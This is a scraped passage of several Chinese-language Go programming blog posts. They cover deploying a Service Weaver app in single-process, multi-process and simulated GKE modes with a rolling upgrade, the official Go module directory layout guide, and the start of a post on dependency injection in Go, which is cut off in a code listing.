\u0026quot;http://localhost:59493/convert?name=abcdefg\u0026quot; after converting, name is ABCDEFG $curl \u0026quot;http://localhost:59493/reverse?name=abcdefg\u0026quot; after reversing, name is gfedcba 我们看到，无论是reverser组件还是converter组件工作都正常。\n由于我们没有指定端口，59493是一个随机端口。如果要指定监听的地址和端口，我们可以借助weaver提供的toml格式的配置文件来实现：\n// weaver.toml [single] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} 基于weaver.toml配置文件启动httpserver的命令如下：\n$SERVICEWEAVER_CONFIG=weaver.toml go run . ╭───────────────────────────────────────────────────╮ │ app : httpserver │ │ deployment : ee49694c-4935-4f44-96f3-cc7d1d0167ae │ ╰───────────────────────────────────────────────────╯ http listener available on 127.0.0.1:8080 在这种模式下启动的httpserver，所有组件都会在一个单一的进程中，组件间的通信通过方法调用进行。这种单体程序在单个进程中部署运行的方式称为single process部署模式，十分适合开发者对程序的开发与调试。weaver为这种方式提供了专门的子命令single，我们可以通过single命令在单进程启动httpserver，不过我们要修改一下weaver.toml：\n// weaver.toml [single] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} [serviceweaver] binary = \u0026quot;./httpserver\u0026quot; 无论是single子命令，还是后面即将讲到的multi，都是基于一个可执行文件进行的，因此我们要将httpserver这个示例编译为一个可执行文件”httpserver”，我已经将编译命令放入Makefile，大家输入make命令执行即可。\n有了可执行的二进制文件httpserver后，我们就可以使用single子命令启动单进程版的httpserver了：\n$weaver single deploy weaver.toml ╭───────────────────────────────────────────────────╮ │ app : httpserver │ │ deployment : ad7c0341-d5d2-4182-8944-306d7682e708 │ ╰───────────────────────────────────────────────────╯ http listener available on 127.0.0.1:8080 在开篇讲Service Weaver的三个核心原则时提到，基于Weaver的应用既可以跑在一个进程中，也可以部署在多个进程，以及云提供商的k8s环境中，下面我们就来看看weaver应用的部署，先来将单进程部署模式改为本地多进程部署模式。\n4. 部署 基于Weaver应用的部署方式与编码完全解耦，我们无需修改源码便可以实现多进程部署。唯一要做的就是改改weaver.toml，新增多进程部署模式下应用的监听地址信息：\n// weaver.toml [single] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} [serviceweaver] binary = \u0026quot;./httpserver\u0026quot; [multi] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} // 新增 接下来使用下面命令，我们就可以将httpserver以多进程的形式启动起来：\n$weaver multi deploy weaver.toml ╭───────────────────────────────────────────────────╮ │ app : httpserver │ │ deployment : bd689290-4929-47f1-a0f0-774d5e1a9307 │ ╰───────────────────────────────────────────────────╯ S1003 18:51:02.042859 stdout ac04576d │ http listener available on 127.0.0.1:8080 S1003 18:51:02.043210 stdout c03c4eed │ http listener available on 127.0.0.1:8080 weaver multi子命令提供了查看httpserver多进程启动后状态的方法：\n$weaver multi status ╭──────────────────────────────────────────────────────────╮ │ DEPLOYMENTS │ ├────────────┬──────────────────────────────────────┬──────┤ │ APP │ DEPLOYMENT │ AGE │ ├────────────┼──────────────────────────────────────┼──────┤ │ httpserver │ bd689290-4929-47f1-a0f0-774d5e1a9307 │ 1m3s │ ╰────────────┴──────────────────────────────────────┴──────╯ ╭───────────────────────────────────────────────────────────────╮ │ COMPONENTS │ ├────────────┬────────────┬──────────────────────┬──────────────┤ │ APP │ DEPLOYMENT │ COMPONENT │ REPLICA PIDS │ ├────────────┼────────────┼──────────────────────┼──────────────┤ │ httpserver │ bd689290 │ weaver.Main │ 30194, 30195 │ │ httpserver │ bd689290 │ httpserver.Converter │ 30198, 30199 │ │ httpserver │ bd689290 │ httpserver.Reverser │ 30196, 30197 │ ╰────────────┴────────────┴──────────────────────┴──────────────╯ ╭─────────────────────────────────────────────────────╮ │ LISTENERS │ ├────────────┬────────────┬──────────┬────────────────┤ │ APP │ DEPLOYMENT │ LISTENER │ ADDRESS │ ├────────────┼────────────┼──────────┼────────────────┤ │ httpserver │ bd689290 │ lis │ 127.0.0.1:8080 │ ╰────────────┴────────────┴──────────┴────────────────╯ 在status输出的信息中，我们能看到deployment(部署)信息、组件(components)信息以及listener信息。从组件信息来看，weaver multi子命令将每个component放入了一个单独进程，包括main component，并且每个component的副本数(replica)为2，即一共启动了6个进程。从下面ps命令的输出结果也能印证这点：\n$ps -ef|grep httpserver 501 30194 30193 0 6:51下午 ttys006 0:00.05 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 501 30195 30193 0 6:51下午 ttys006 0:00.05 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 501 30196 30193 0 6:51下午 ttys006 0:00.07 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 501 30197 30193 0 6:51下午 ttys006 0:00.04 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 501 30198 30193 0 6:51下午 ttys006 0:00.05 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 501 30199 30193 0 6:51下午 ttys006 0:00.04 /Users/tonybai/test/go/service-weaver/httpserver/httpserver 在multi process这种模式下，应用的各个组件由于不在同一进程内，它们之间的通信由基于方法调用改为了基于RPC调用的方式。\nweaver multi还提供了以web形式查看应用运行状态的命令：dashboard\n$weaver multi dashboard Dashboard available at: http://127.0.0.1:62183 weaver multi dashboard命令会自动打开浏览器并展示httpserver的各种运行信息和状态信息：\n点击页面上的Deployment超链接，我们将进入到下面的页面中：\n除此之外，页面最下方还有一个展示组件拓扑以及组件间traffic的图：\n通过上图我们知道，reverse端点和convert端点分别接到过2次和1次请求。\n注：web状态页面上的traces由于没有开启trace，会暂无数据。\n和weaver multi一样，weaver ssh可以实现多机器部署，weaver kube实现基于k8s的部署，weaver gke实现在Google Kubernetes Engine上的部署，这里的multi、ssh、kube等都可以称为deployer。single、multi、ssh是weaver内置支持的，而其他weaver 则是调用weaver-完成的，比如：weaver gke status将调用weaver-gke status命令。\n注：由于手里没有现成的kubernetes环境，weaver kube命令无法展示了。\n到这里，我们已经践行了Service Weaver的两大核心原则：开发阶段以单体程序形式编码开发，以及运行时通过不同deployer(multi、ssh、k8s等)来实现部署环境与代码的解耦。到这里，你是否体会到了本文题目“以单体形式编码，以微服务形式部署”的深意了呢！\n下面我们再来看看Weaver核心原则的第3条：原子升级。\n5. 升级 对于使用go run或weaver multi deployment部署的应用程序来说，避免升级过程中的跨版本通信是轻而易举的事，因为每个部署都是独立运行的。\n我本地没有Kubernetes环境，也没有GKE的账号，那么如何验证weaver的原子升级过程呢？好在weaver提供了gke-local，即在本地建立一个模拟gke环境，我们可以使用这种方式来看看通过weaver如何实现app的原子升级。\n首先我们要执行下面命令单独安装weaver-gke-local：\n$go install github.com/ServiceWeaver/weaver-gke/cmd/weaver-gke-local@latest 在我的机器和网络环境下，这个安装过程略显“漫长”，因为要拉取很多依赖的go module，还包括像k8s、k8s client这样的go module。\n安装好weaver-gke-local后，我们基于httpserver建立一个新module：httpserver-upgrade。然后修改其weaver.toml，增加gke和rollout相关配置：\n// serviceweaver-examples/httpserver-upgrade/weaver.toml [single] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} [serviceweaver] binary = \u0026quot;./httpserver\u0026quot; rollout = \u0026quot;5m\u0026quot; # Perform five minutes slow rollout. [multi] listeners.lis = {address = \u0026quot;localhost:8080\u0026quot;} [gke] regions = [\u0026quot;us-west1\u0026quot;] listeners.lis = {public_hostname = \u0026quot;hello.com\u0026quot;} 然后，为了区分不同版本，我在main.go中为各个端点的处理handler加上了一些带有版本信息的日志，并重新执行make构建新的可执行文件。\n下面我们就在gke-local环境下首次部署httpserver：\n$weaver gke-local deploy weaver.toml Deploying the application... Done Version \u0026quot;b343b4de-bb84-4bd7-8bc0-09eb0054b07d\u0026quot; of app \u0026quot;httpserver\u0026quot; started successfully. Note that stopping this binary will not affect the app in any way. Tailing the logs... S1004 06:33:14.621470 stdout ea68b26c │ http v1 listener available on http://localhost:8000 S1004 06:33:14.627226 stdout be97798d │ http v1 listener available on http://localhost:8000 我们可以ctrl+c结束weaver gke-local deploy这个命令的执行，但一旦部署成功，即便这个命令退出，已经部署的程序依然会运行。\n^CTo continue watching the logs, run the following command: weaver gke-local logs --follow 'version == \u0026quot;b343b4de\u0026quot;' 并且按照上述提示，我们可以继续执行下面命令来tail整个应用的输出日志：\n$weaver gke-local logs --follow 'version == \u0026quot;b343b4de\u0026quot;' S1004 06:33:14.621470 stdout ea68b26c │ http v1 listener available on http://localhost:8000 S1004 06:33:14.627226 stdout be97798d │ http v1 listener available on http://localhost:8000 和multi子命令在本地多进程部署一样，在gke-local下部署后，我们也可以使用status查看应用部署信息和状态：\n$weaver gke-local status ╭────────────────────────────────────────────────────────────────────╮ │ Deployments │ ├────────────┬──────────────────────────────────────┬───────┬────────┤ │ APP │ DEPLOYMENT │ AGE │ STATUS │ ├────────────┼──────────────────────────────────────┼───────┼────────┤ │ httpserver │ b343b4de-bb84-4bd7-8bc0-09eb0054b07d │ 4m55s │ ACTIVE │ ╰────────────┴──────────────────────────────────────┴───────┴────────╯ ╭─────────────────────────────────────────────────────────────────────╮ │ COMPONENTS │ ├────────────┬────────────┬──────────┬──────────────────────┬─────────┤ │ APP │ DEPLOYMENT │ LOCATION │ COMPONENT │ HEALTHY │ ├────────────┼────────────┼──────────┼──────────────────────┼─────────┤ │ httpserver │ b343b4de │ us-west1 │ weaver.Main │ 2/2 │ │ httpserver │ b343b4de │ us-west1 │ httpserver.Converter │ 2/2 │ │ httpserver │ b343b4de │ us-west1 │ httpserver.Reverser │ 2/2 │ ╰────────────┴────────────┴──────────┴──────────────────────┴─────────╯ ╭─────────────────────────────────────────────────────────────────────────────────────────────╮ │ TRAFFIC │ ├───────────┬────────────┬────────────┬────────────┬──────────┬────────────┬──────────────────┤ │ HOST │ VISIBILITY │ APP │ DEPLOYMENT │ LOCATION │ ADDRESS │ TRAFFIC FRACTION │ ├───────────┼────────────┼────────────┼────────────┼──────────┼────────────┼──────────────────┤ │ hello.com │ public │ httpserver │ b343b4de │ us-west1 │ [::]:62559 │ 0.5 │ │ hello.com │ public │ httpserver │ b343b4de │ us-west1 │ [::]:62564 │ 0.5 │ ╰───────────┴────────────┴────────────┴────────────┴──────────┴────────────┴──────────────────╯ ╭────────────────────────────╮ │ ROLLOUT OF httpserver │ ├─────────────────┬──────────┤ │ │ us-west1 │ ├─────────────────┼──────────┤ │ TIME │ b343b4de │ │ Oct 3 22:37:59 │ 1.00 │ ╰─────────────────┴──────────╯ 我们看到整个应用被模拟部署到us-west1 region，每个组件有两个副本，用ps命令查看，我们也能看到6个进程：\n$ps -ef|grep httpserver 501 38480 35224 0 6:33上午 ttys006 0:00.13 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 501 38481 35224 0 6:33上午 ttys006 0:00.11 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 501 38482 35224 0 6:33上午 ttys006 0:00.10 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 501 38483 35224 0 6:33上午 ttys006 0:00.10 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 501 38484 35224 0 6:33上午 ttys006 0:00.10 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 501 38485 35224 0 6:33上午 ttys006 0:00.10 /Users/tonybai/test/go/service-weaver/httpserver-upgrade/httpserver 现在我们可以使用curl命令来验证一下应用的可用性：\n$curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/reverse?name=abcdefg\u0026quot; after reversing-v1, name is gfedcba $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/reverse?name=abcdefg\u0026quot; after reversing-v1, name is gfedcba $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/reverse?name=abcdefg\u0026quot; after reversing-v1, name is gfedcba $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/convert?name=abcdefg\u0026quot; after converting-v1, name is ABCDEFG $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/convert?name=abcdefg\u0026quot; after converting-v1, name is ABCDEFG 可以看到，app工作正常！\n此外，我们还可以通过dashboard可以以图形化的方式观测app状态(weaver gke-local dashboard)，在后续升级过程中，通过dashboard可以清楚地看到整个升级过程：\n注：gke-local会在本地建立一个模拟load balancer，并将发到hello.com主机的请求按Traffic Fraction分发给不同副本。\n接下来，我们就来开发httpserver的v2版本，将main.go中的version改为v2，然后重新编译httpserver，执行下面命令部署新版httpserver：\n$weaver gke-local deploy weaver.toml Deploying the application... Done Version \u0026quot;2ee38e73-323f-4b42-b115-ee5bc40a8c09\u0026quot; of app \u0026quot;httpserver\u0026quot; started successfully. Note that stopping this binary will not affect the app in any way. Tailing the logs... S1004 06:50:12.575585 stdout 702058ba │ http v2 listener available on http://localhost:8000 S1004 06:50:12.586352 stdout ef3d7c3f │ http v2 listener available on http://localhost:8000 ^CTo continue watching the logs, run the following command: weaver gke-local logs --follow 'version == \u0026quot;2ee38e73\u0026quot;' 由于我们配置的rollout为5分钟，所以新版httpserver替换掉旧版httpserver的过程会持续5分钟。而这个过程中load balancer针对新旧两个版本的Traffic Fraction也会动态调整：旧版本会逐渐降低，新版本会逐渐升高：\n这时向app发送的请求，既可能由v1版本处理，也可能由v2版本处理：\n$curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/convert?name=abcdefg\u0026quot; after converting-v1, name is ABCDEFG $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/reverse?name=abcdefg\u0026quot; after reversing-v1, name is gfedcba $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/convert?name=abcdefg\u0026quot; after converting-v1, name is ABCDEFG $curl --header 'Host: hello.com' \u0026quot;http://localhost:8000/reverse?name=abcdefg\u0026quot; after reversing-v2, name is gfedcba 最后新版app将全面接手对请求的处理：\n之后，旧版的app将被delete掉：\n这样新版app的升级部署(rollout)就结束了！rollout后，所有请求将被v2版本处理，应答中将带有v2字样。\n在新版本升级的过程中，你如果使用ps查看httpserver进程数量，你会发现数量多出一倍，那是因为整个rollout过程采用的是蓝绿部署方式，即完全部署一套新app，然后通过调整load balancer的分发比例，让新版app逐渐承担全部流量，而在这个过程中，不会存在新老版本组件交互的情况出现。下图展示了这一过程：\n注：如果要杀掉app，可以用weaver gke-local kill httpserver命令。\n6. 小结 Service Weaver是一个优秀的框架，可以帮助开发人员以单体形式快速构建、以微服务形式快速部署分布式应用，其三个核心原则的创新思路值得我们学习借鉴。\n但Service Weaver也不是万能的，Service Weaver主要针对在线的分布式服务系统，即需要在用户请求到达时处理它们的系统，例如网络应用程序或API Server正是此类分布式服务系统。基于Weaver开发这类系统，应用可以轻松获取网络Listener并建立HTTP 服务器，应用可以支持原子升级，且应用组件的副本数量可以根据请求压力的大小自动扩缩(本文并未演示这个特性)。\n不过要注意的是：Service Weaver仅仅开源了几个月，其API尚未Stable，本文中的示例基于v0.21.2版本实现，也许在未来的某个时间点，这些示例可能会因API的变化而无法Run起来, status命令和dashboard命令所展现给用户的样式也会发生变化。另外学习weaver本身也是有学习成本的，weaver自身的代码由于采用了泛型和反射，读起来也是很晦涩。\n综上，Service Weaver所践行的理念的优秀的，但考虑其成熟度以及Go社区崇尚的“The Best Go framework is no framework”的信条，选择引入Service Weaver框架之前务必要仔细斟酌。\n本文涉及的Go源码，可以在这里下载。\n7. 参考资料 A Quick Introduction to Service Weaver – https://serviceweaver.dev/blog/quick_intro.html Towards Modern Development of Cloud Applications – https://serviceweaver.dev/assets/docs/hotos23_vision_paper.pdf Service Weaver FAQ – https://serviceweaver.dev/docs.html#faq “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx\n微博2：https://weibo.com/u/6484441286\n博客：tonybai.com\ngithub: https://github.com/bigwhite\nGopher Daily归档 – https://github.com/bigwhite/gopherdaily\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/service-weaver-coding-in-monolithic-deploy-in-microservices-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices\"\u003ehttps://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e分布式应用的主流架构模式演化为\u003cstrong\u003e微服务架构\u003c/strong\u003e已经有些年头了。微服务、DevOps、持续交付和容器技术(k8s)是构成\u003ca href=\"https://tanzu.vmware.com/de/cloud-native\"\u003e最初云原生概念\u003c/a\u003e的核心要素。它们相生相拌，共同演进，并推动了云计算\u003cstrong\u003e全面进入云原生时代\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e云原生应用普遍采用微服务架构，遗留的单体应用程序会逐步演进并拆分为多个微服务，新应用则会直接采用微服务架构进行设计与实现。微服务的好处是显而易见的：\u003c/p\u003e","title":"Service Weaver：以单体形式编码，以微服务形式部署"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project\n长久以来，在Go语言进阶的学习和实践之路上，Go项目目录究竟如何布局一直是困扰大家的一个问题，这是因为Go官方针对这个问题迟迟没有给出说法，更没有提供标准供大家参考。仅有Go语言项目技术负责人Russ Cox在一个开源项目的issue中给出了他关于Go项目结构的最小标准布局的想法。\n熟悉我的博客/公众号的读者可能会知道，关于Go项目目录布局，我在以往文章中曾写过多次。在我的纸版书《Go语言精进之路》、极客时间的专栏Go语言第一课以及Go高级工程师训练营中，对Go项目目录组织与布局方式也都有过全面系统地说明。\n我虽然很努力为大家答疑，提供的建议也很具参考价值，但这仅是我的个人观点，权威性有限，大家依然期待Go官方的说法。\n近期Go官方文档集合中新增了一篇名为“Organizing a Go module”的文档，细读之后，我发现这不就是大家期待已久的Go项目目录布局的官方指南吗！\n在这篇文章中，我们就来看看这份官方指南，看看官方推荐的Go项目目录布局是什么样子的。\n1. Go项目的类型 我们知道Go项目(project)一般有两类：library和executable。library是以构建库为目的的Go项目，而executable则是以构建二进制可执行文件为目的的Go项目。\n“Organizing a Go module”这篇文档也是按照Go项目类型为Gopher提供项目布局建议的。这篇文档将library类的项目叫作package类，executable类的项目叫作command。下面的示意图展示了“Organizing a Go module”这篇文档的说明顺序：\n从图中看到，“Organizing a Go module”这篇文档总共给出7种项目的布局建议。接下来，我们就来逐一看一下。\n2. 官方版Go项目目录布局指南 2.1 basic package 我们先从package类开始。最简单的package类的Go项目是basic package，下面就是一个basic package类的项目目录布局的示例：\nproject-root-directory/ ├── go.mod ├── modname.go └── modname_test.go 或 project-root-directory/ ├── go.mod ├── modname.go ├── modname_test.go ├── auth.go ├── auth_test.go ├── hash.go └── hash_test.go 我们看到basic package类项目非常简单，repo下面只有一个导出package，这个package包含一个或多个包源文件。以repo托管在github上为例，如果这个repo的url为github.com/someuser/modname，那么该repo下的module root和导出package的导入路径通常与repo url一致，都为github.com/someuser/modname。\n你的代码要依赖该module，直接通过下面import语句便可以将该module导入：\nimport \u0026quot;github.com/someuser/modname\u0026quot; 注：本文的Go项目目录布局示例均来自或改自“Organizing a Go module”那篇文档。\n2.2 basic command 和basic package一样，basic command类项目是以构建可执行二进制程序为目的的Go项目中最简单的一类。下面是basic command类项目的一个示例：\nproject-root-directory/ ├── go.mod └── main.go 或 project-root-directory/ ├── go.mod ├── main.go ├── auth.go ├── auth_test.go ├── hash.go └── hash_test.go 从示例我们可以看到，basic command类项目的repo下面只可构建出一个可执行文件，main函数放在main.go中，其他源文件也在repo根目录下，并同样放在main包中。\n还是以repo托管在github上为例，如果这个repo的url为github.com/someuser/modname，那么我们可以通过下面命令安装这个command的可执行程序：\n$go install github.com/someuser/modname@latest 2.3 package with supporting packages 稍复杂或规模稍大的一些package类项目，会将很多功能分拆到supporting packages中，并且通常项目作者是不希望导出这些supporting packages的，这样这些supporting packages便可以不作为暴露的API的一部分，后续重构和优化起来十分方便，对package的用户也是无感的。这样Go官方建议将这些supporting packages放入internal目录。\n注：internal目录是Go 1.4版本引入的机制，简单来说放在internal中的包是local的，不能导出到module之外，但module下的某些内部代码可以导入internal下的包。如今一般都会将internal放在项目的根目录下，所以项目下的所有代码都可以导入internal下的包。\n下面是一个带有supporting packages的package类项目的目录布局示例：\nproject-root-directory/ ├── go.mod ├── modname.go ├── modname_test.go └── internal/ ├── auth/ │ ├── auth.go │ └── auth_test.go └── hash/ ├── hash.go └── hash_test.go modname.go或modname_test.go可以通过下面导入语句使用internal下面的包：\nimport \u0026quot;github.com/someuser/modname/internal/auth\u0026quot; 2.4 command with supporting packages 有了package with supporting packages的说明后，再来看command with supporting packages就更简单了，下面是一个示例：\nproject-root-directory/ ├── go.mod ├── main.go └── internal/ ├── auth/ │ ├── auth.go │ └── auth_test.go └── hash/ ├── hash.go └── hash_test.go 和package with supporting packages不同的是，main.go使用的包名为main，这样Go编译器才能将其构建为command。\n2.5 multiple packages 作为一个库项目，作者可能要暴露不止一个package，可能是多个packages。这不会给Go项目目录布局带来过多复杂性，我们只需多建立几个导出package的目录就ok了。下面是一个multiple packages的示例：\nproject-root-directory/ ├── go.mod ├── modname.go ├── modname_test.go ├── auth/ │ ├── auth.go │ ├── auth_test.go │ └── token/ │ ├── token.go │ └── token_test.go ├── hash/ │ ├── hash.go │ └── hash_test.go └── internal/ └── trace/ ├── trace.go └── trace_test.go 我们看到这个示例在repo(以托管在github.com/user/modname下为例)顶层放置了多个导出包：\ngithub.com/user/modname github.com/user/modname/auth github.com/user/modname/hash 并且顶层的auth目录下还有一个二级的导出包token，其导入路径为：\ngithub.com/user/modname/auth/token 所有这些导出包的supporting packages还是按惯例放在了internal目录下，比如：github.com/user/modname/internal/trace，这些包是local的，不能被该module之外的代码所依赖。\n2.6 multiple commands 有multiple packages类型的项目，就会有multiple commands类的项目，下面是一个这类项目的示例：\nproject-root-directory/ ├── go.mod ├── prog1/ │ └── main.go ├── prog2/ │ └── main.go └── internal/ └── trace/ ├── trace.go └── trace_test.go 这个示例将每个command放置在一个单独的目录下(比如prog1、prog2等)，supporting packages和之前的建议一样，统一放到internal下面。这样我们可以通过下面步骤来编译command：\n$go build github.com/someuser/modname/prog1 $go build github.com/someuser/modname/prog2 command的用户通过下面步骤可以安装这些命令：\n$go install github.com/someuser/modname/prog1@latest $go install github.com/someuser/modname/prog2@latest 2.7 multiple packages and commands 最后我们来看看最复杂的一种项目类型：multiple packages and commands，即在同一个项目下面，既有多个可导出的packages，又有多个commands。下面是一个此类复杂项目的示例：\nproject-root-directory/ ├── go.mod ├── modname.go ├── modname_test.go ├── auth/ │ ├── auth.go │ ├── auth_test.go │ └── token/ │ ├── token.go │ └── token_test.go ├── hash/ │ ├── hash.go │ └── hash_test.go ├── internal/ │ └── trace/ │ ├── trace.go │ └── trace_test.go └── cmd/ ├── prog1/ │ └── main.go └── prog2/ └── main.go 我们看到：为了区分导出package和command，这个示例增加了一个专门用来存放command的cmd目录，prog1和prog2两个command都放在这个目录下。这也是Go语言的一个惯例。\n这样，这个示例项目既导出了下面的包：\ngithub.com/user/modname github.com/user/modname/auth github.com/user/modname/hash 又包含了两个可安装使用的command，用户按下面步骤安装即可：\n$go install github.com/someuser/modname/cmd/prog1@latest $go install github.com/someuser/modname/cmd/prog2@latest 3. 小结 经过对“Organizing a Go module”的文档这篇Go官方项目目录布局指南的学习，我发现指南中的建议与我个人在以往文章、书和专栏中对Go项目目录布局的建议非常相近，几乎一致，唯独不同的是在pkg目录的使用上。\n在multiple packages类型项目中，如果要导出的package非常多，那么项目顶层目下会有大量的目录，这让项目顶层目录显得很“臃肿”，我个人建议将这些导出包统一放置到project-root-directory/pkg下面，这样项目顶层目录就会显得很简洁。\n注：无论是“Organizing a Go module”这篇文档中的官方建议，还是我个人对Go项目目录布局的建议，针对的都是Go项目的基础布局。而像很多Gopher经常问的采用DDD、clean architecture或Hexagonal Architecture(六边形架构)设计的项目的目录布局是一种业务层面的布局，是在基础布局之上进行再设计的，不在本篇的说明范围之内。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-official-guide-of-organizing-go-project-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project\"\u003ehttps://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e长久以来，在Go语言进阶的学习和实践之路上，Go项目目录究竟如何布局一直是困扰大家的一个问题，这是因为Go官方针对这个问题迟迟没有给出说法，更没有提供标准供大家参考。仅有Go语言项目技术负责人Russ Cox在一个开源项目的issue中给出了他\u003ca href=\"https://github.com/golang-standards/project-layout/issues/117#issuecomment-828503689\"\u003e关于Go项目结构的最小标准布局的想法\u003c/a\u003e。\u003c/p\u003e","title":"Go项目目录该怎么组织？官方终于出指南了！"},{"content":"\n本文永久链接 – https://tonybai.com/2023/09/28/dependency-injection-with-go\n如果你读过Robert C. Martin的《敏捷软件开发：原则、模式与实践》(书的封皮见下图)，那么你一定知道经典的SOLID设计原则中的“D”：依赖倒置原则（Dependency Inversion Principle, DIP）。\n依赖倒置原则是面向对象设计中的基本原则之一，它阐述了高层模块和低层模块的依赖关系应该倒置(如下图)，也就是:\n高层模块不应该依赖低层模块，二者都应该依赖其抽象 抽象不应该依赖细节，细节应该依赖抽象 依赖倒置原则实际上就是对控制反转(Inversion of Control，IoC)这一概念的阐述，而依赖注入(Dependency Injection)是实现控制反转的一种机制。所以可以说，依赖倒置原则是设计级的指导思想，它提出了正确的依赖关系；而依赖注入是实现级的具体设计模式，它将组件的依赖关系控制权移到了外部，实现了组件之间的解耦，是对依赖倒置原则的一种实现手段。\n依赖注入可以帮助你开发出松耦合的代码，松耦合使代码更易于维护。\n在《Go语言包设计指南》一文中，我们提到过：在Go中，耦合发生在包这一层次。而在Go代码层面最低的耦合是接口耦合。在Go中，接口的实现是隐式的，即a包实现b包中定义的接口时是不需要显式导入b包的，我们可以在c包中完成对a包与b包的组装，这样c包依赖a包和b包，但a包与b包之间没有任何耦合。那么负责组装a包与b包的c包能否在代码层面消除掉对a和b的依赖呢？这个就很难了。不过我们可以使用依赖注入技术来消除在代码层面手动基于依赖进行初始化或创建时的复杂性，在中大型的程序中，依赖注入的优点更能得到体现。\n在这篇文章中，我们就来聊聊Go中依赖注入可以解决的问题，并初步认识一下两个在Go社区认可度较高的Go依赖注入框架。\n1. 手动注入 我们先建立一个符合DIP原则的例子，其依赖关系如下图：\n这里有三个“模块”，从高到低分别为Service、BussinessLogic和DatabaseAccess。Service是一个接口，其实现ServiceImpl依赖BussinessLogic接口。Business是BussinessLogic的实现，它还依赖DatabaseAccess接口。Database则是DatabaseAccess接口的实现。\n围绕这一示例，我们分别用手动组装和依赖注入框架演示一下如何实现注入，先来看一下手动组装与注入。\n下面是示例的项目结构布局：\n./manual └── demo/ ├── Makefile ├── business/ │ └── business.go ├── database/ │ └── database.go ├── go.mod ├── main.go └── service/ └── service.go manual/demo目录下的service、business和database包下面包含了导出的接口与其具体实现的定义。这里将这些包的代码列出来，这些代码在后续应用依赖注入工具的示例中也是保持不变的：\n// dependency-injection-examples/manual/demo/service/service.go package service import \u0026quot;demo/business\u0026quot; // Service interface type Service interface { HandleRequest() string } // ServiceImpl struct type ServiceImpl struct { logic business.BusinessLogic } // Constructor func NewService(logic business.BusinessLogic) *ServiceImpl { return \u0026amp;ServiceImpl{logic: logic} } // Implement HandleRequest() func (s ServiceImpl) HandleRequest() string { return \u0026quot;Handled request: \u0026quot; + s.logic.ProcessData() } // 